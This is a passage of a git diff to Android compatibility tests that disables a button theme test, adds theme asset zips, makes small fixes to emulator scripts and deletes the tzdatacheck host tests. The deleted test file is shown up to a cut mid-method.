static final LayoutInfo[] LAYOUTS = {
- new LayoutInfo(R.layout.button, "button"),
+ //new LayoutInfo(R.layout.button, "button"),
// Temporarily remove tests for pressed Button widget. The Material ripple is in
// flux, so this is going to be failing frequently on Material until it stablizes.
//new LayoutInfo(R.layout.button, "button_pressed",
diff --git a/hostsidetests/theme/assets/31/600dpi.zip b/hostsidetests/theme/assets/31/600dpi.zip
new file mode 100644
index 0000000..b6b4e28
--- /dev/null
+++ b/hostsidetests/theme/assets/31/600dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
new file mode 100644
index 0000000..48de32b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
new file mode 100644
index 0000000..4def986
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
new file mode 100644
index 0000000..fe2495e
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
new file mode 100644
index 0000000..a2c2ea2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
new file mode 100644
index 0000000..74890a2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
new file mode 100644
index 0000000..83fd290
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
new file mode 100644
index 0000000..25334d8
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
new file mode 100644
index 0000000..2092326
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
new file mode 100644
index 0000000..c13ad5c
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
new file mode 100644
index 0000000..1df1a95
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
new file mode 100644
index 0000000..d58d418
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
new file mode 100644
index 0000000..535102f
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
new file mode 100644
index 0000000..20f1c7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
new file mode 100644
index 0000000..582989d
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
new file mode 100644
index 0000000..3035146
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
new file mode 100644
index 0000000..a831e7b
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
new file mode 100644
index 0000000..bd4bf75
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
new file mode 100644
index 0000000..0dd72e2
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
new file mode 100644
index 0000000..64fc846
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
new file mode 100644
index 0000000..87beb9a
--- /dev/null
+++ b/hostsidetests/theme/assets/UpsideDownCake/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 2a43129..c02e900 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -54,8 +54,8 @@
% (self._emu_path, self._name, self._opts, port_adb, port_tty)
print(emu_cmd)
- emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
- stderr=subprocess.PIPE)
+ emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.DEVNULL,
+ stderr=subprocess.STDOUT)
# The emulator ought to be starting now.
self._adb_name = "emulator-%d" % (port_tty - 1)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index 0b0d6d8..b1ad749 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -225,7 +225,7 @@
'cts/hostsidetests/theme/assets')
os.system("mkdir -p %s" % out_path)
- if len(argv) is 2:
+ if len(argv) == 2:
for density in CTS_THEME_dict.keys():
emulator = start_emulator(argv[1], density)
result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
deleted file mode 100644
index 29c7891..0000000
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS tzdatacheck host test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="libcore" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsHostTzDataTests.jar" />
- </test>
-</configuration>
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
deleted file mode 100644
index 2d36574..0000000
--- a/hostsidetests/tzdata/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-# Bug component: 24949
-include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/TEST_MAPPING b/hostsidetests/tzdata/TEST_MAPPING
deleted file mode 100644
index cb259b1..0000000
--- a/hostsidetests/tzdata/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "presubmit": [
- {
- "name": "CtsHostTzDataTests"
- }
- ]
-}
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
deleted file mode 100644
index 551a0e4..0000000
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ /dev/null
@@ -1,1004 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tzdata;
-
-import static org.junit.Assert.assertArrayEquals;
-
-import com.android.i18n.timezone.TzDataSetVersion;
-import libcore.timezone.testing.ZoneInfoTestHelper;
-
-import com.android.timezone.distro.DistroVersion;
-import com.android.timezone.distro.TimeZoneDistro;
-import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Comparator;
-import java.util.StringJoiner;
-import java.util.function.Consumer;
-
-/**
- * Tests for the tzdatacheck binary.
- *
- * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
- * time zone rules in the system image, and a "data directory" in the data partition which can
- * optionally contain time zone rules data files for bionic/libcore and ICU.
- *
- * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
- * simulated situations; simulated system and data directories in various states are created in a
- * location the shell user has permission to access and the tzdatacheck binary is then executed.
- * The status code and directory state after execution is then used to determine if the tzdatacheck
- * binary operated correctly.
- *
- * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
- * on the host before pushing them to the device. Device state is then checked rather than syncing
- * the files back.
- */
-public class TzDataCheckTest extends DeviceTestCase {
-
- /**
- * The name of the directory containing the current time zone rules data beneath
- * {@link #mDataDir}. Also known to {@link
- * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
- */
- private static final String CURRENT_DIR_NAME = "current";
-
- /**
- * The name of the directory containing the staged time zone rules data beneath
- * {@link #mDataDir}. Also known to {@link
- * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
- */
- private static final String STAGED_DIR_NAME = "staged";
-
- /**
- * The name of the file inside the staged directory that indicates the staged operation is an
- * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
- * tzdatacheck.cpp.
- */
- private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
-
- /**
- * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
- */
- private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
-
- /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
- private static final String RULES_VERSION_ONE = "2016g";
- /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
- private static final String RULES_VERSION_TWO = "2016h";
- /**
- * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
- * version is.
- */
- private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
-
- /** An arbitrary valid revision number. */
- private static final int VALID_REVISION = 1;
-
- private String mDeviceAndroidRootDir;
- private PathPair mTestRootDir;
- private PathPair mSystemDir;
- private PathPair mDataDir;
-
- public void setUp() throws Exception {
- super.setUp();
-
- // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
- // value first to do so. It has been hardcoded instead.
- mDeviceAndroidRootDir = "/system";
-
- // Create a test root directory on host and device.
- Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
- mTestRootDir = new PathPair(
- hostTestRootDir,
- "/data/local/tmp/tzdatacheck_test");
- createDeviceDirectory(mTestRootDir);
-
- // tzdatacheck requires two directories: a "system" path and a "data" path.
- mSystemDir = mTestRootDir.createSubPath("system_dir");
- mDataDir = mTestRootDir.createSubPath("data_dir");
-
- // Create the host-side directory structure (for preparing files before pushing them to
- // device and looking at files retrieved from device).
- createHostDirectory(mSystemDir);
- createHostDirectory(mDataDir);
-
- // Create the equivalent device-side directory structure for receiving files.
- createDeviceDirectory(mSystemDir);
- createDeviceDirectory(mDataDir);
- }
-
- @Override
- public void tearDown() throws Exception {
- // Remove the test root directories that have been created by this test.
- deleteHostDirectory(mTestRootDir, true /* failOnError */);
- deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
- super.tearDown();
- }
-
- /**
- * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
- * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
- * via a command line argument hardcoded in system/core/rootdir/init.rc.
- */
- public void testExpectedBaseFilesExist() throws Exception {
- String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
- assertDeviceFileExists(baseTzFilesDir + "tz_version");
- }
-
- public void testTooFewArgs() throws Exception {
- // No need to set up or push files to the device for this test.
- assertEquals(1, runTzDataCheckWithArgs(new String[0]));
- assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
- }
-
- // {dataDir}/staged exists but it is a file.
- public void testStaging_stagingDirIsFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- // Create a file with the same name as the directory that tzdatacheck expects.
- Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
- // than delete.
- assertDevicePathExists(dataStagedDir);
- assertDevicePathIsFile(dataStagedDir);
- }
-
- // {dataDir}/staged exists but /current dir is a file.
- public void testStaging_uninstall_currentDirIsFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
-
- // Create a staged uninstall.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- createStagedUninstallOnHost(dataStagedDir);
-
- // Create a file with the same name as the directory that tzdatacheck expects.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "uninstalled" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
- public void testStaging_uninstall_noCurrent() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
- // Set up the /data directory structure on host.
-
- // Create a staged uninstall.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- createStagedUninstallOnHost(dataStagedDir);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "uninstalled" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/staged contains an uninstall, and there is something to uninstall.
- public void testStaging_uninstall_withCurrent() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
-
- // Create a staged uninstall.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- createStagedUninstallOnHost(dataStagedDir);
-
- // Create a current installed distro.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] distroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "uninstalled" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/staged exists but /current dir is a file.
- public void testStaging_install_currentDirIsFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
-
- // Create a staged install.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- byte[] distroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataStagedDir, distroBytes);
-
- // Create a file with the same name as the directory that tzdatacheck expects.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "installed" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
- }
-
- // {dataDir}/staged contains an install, but there is nothing to replace.
- public void testStaging_install_noCurrent() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
- // Set up the /data directory structure on host.
-
- // Create a staged install.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataStagedDir, stagedDistroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "installed" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
- }
-
- // {dataDir}/staged contains an install, and there is something to replace.
- public void testStaging_install_withCurrent() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- DistroVersion currentDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
- DistroVersion stagedDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 2);
-
- // Set up the /data directory structure on host.
-
- // Create a staged uninstall.
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- byte[] stagedDistroBytes = createValidDistroBuilder()
- .setDistroVersion(stagedDistroVersion)
- .buildBytes();
- unpackOnHost(dataStagedDir, stagedDistroBytes);
-
- // Create a current installed distro.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] currentDistroBytes = createValidDistroBuilder()
- .setDistroVersion(currentDistroVersion)
- .buildBytes();
- unpackOnHost(dataCurrentDir, currentDistroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. Failures due to staging issues are
- // generally ignored providing the device is left in a reasonable state.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "installed" state.
- // The stagedDistro should now be the one in the current dir.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
- }
-
- // {dataDir}/staged contains an invalid install, and there is something to replace.
- // Most of the invalid cases are tested without staging; this is just to prove that staging
- // an invalid distro is handled the same.
- public void testStaging_install_withCurrent_invalidStaged() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
-
- // Create a staged uninstall which contains invalid files (missing distro version).
- PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
- byte[] stagedDistroBytes = createValidDistroBuilder()
- .clearVersionForTests()
- .buildUnvalidatedBytes();
- unpackOnHost(dataStagedDir, stagedDistroBytes);
-
- // Create a current installed distro.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataCurrentDir, currentDistroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code. The staged directory will have become the
- // current one, but then it will be discovered to be invalid and will be removed.
- assertEquals(3, runTzDataCheckOnDevice());
-
- // Assert the device was left in a valid "uninstalled" state.
- assertDevicePathDoesNotExist(dataStagedDir);
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // No {dataDir}/current exists.
- public void testNoCurrentDataDir() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Deliberately not creating anything on host in the data dir here, leaving the empty
- // structure.
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
- }
-
- // {dataDir}/current exists but it is a file.
- public void testCurrentDataDirIsFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- // Create a file with the same name as the directory that tzdatacheck expects.
- Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(2, runTzDataCheckOnDevice());
-
- // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
- // than delete.
- assertDevicePathExists(dataCurrentDir);
- assertDevicePathIsFile(dataCurrentDir);
- }
-
- // {dataDir}/current exists but is missing the distro version file.
- public void testMissingDataDirDistroVersionFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
- .clearVersionForTests()
- .buildUnvalidatedBytes();
- unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(3, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists but the distro version file is short.
- public void testShortDataDirDistroVersionFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
- // Replace the distro version file with a short file.
- Path distroVersionFile =
- dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
- assertHostFileExists(distroVersionFile);
- Files.write(distroVersionFile, new byte[3]);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(3, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists and the distro version file is long enough, but contains junk.
- public void testCorruptDistroVersionFile() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
-
- // Replace the distro version file with junk.
- Path distroVersionFile =
- dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
- assertHostFileExists(distroVersionFile);
-
- int fileLength = (int) Files.size(distroVersionFile);
- byte[] junkArray = new byte[fileLength]; // all zeros
- Files.write(distroVersionFile, junkArray);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(4, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists but the distro version is incorrect.
- public void testInvalidMajorDistroVersion_older() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- DistroVersion oldMajorDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion() - 1, 1, VALID_RULES_VERSION, 1);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(oldMajorDistroVersion)
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(5, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists but the distro version is incorrect.
- public void testInvalidMajorDistroVersion_newer() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- DistroVersion newMajorDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion() + 1,
- TzDataSetVersion.currentFormatMinorVersion(),
- VALID_RULES_VERSION, VALID_REVISION);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(newMajorDistroVersion)
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(5, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists but the distro version is incorrect.
- public void testInvalidMinorDistroVersion_older() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- DistroVersion oldMinorDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion() - 1,
- VALID_RULES_VERSION, 1);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(oldMinorDistroVersion)
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(5, runTzDataCheckOnDevice());
-
- // Assert the current data directory was deleted.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- // {dataDir}/current exists but the distro version is newer (which is accepted because it should
- // be backwards compatible).
- public void testValidMinorDistroVersion_newer() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- DistroVersion newMajorDistroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion() + 1,
- VALID_RULES_VERSION, VALID_REVISION);
- byte[] distroBytes = createValidDistroBuilder()
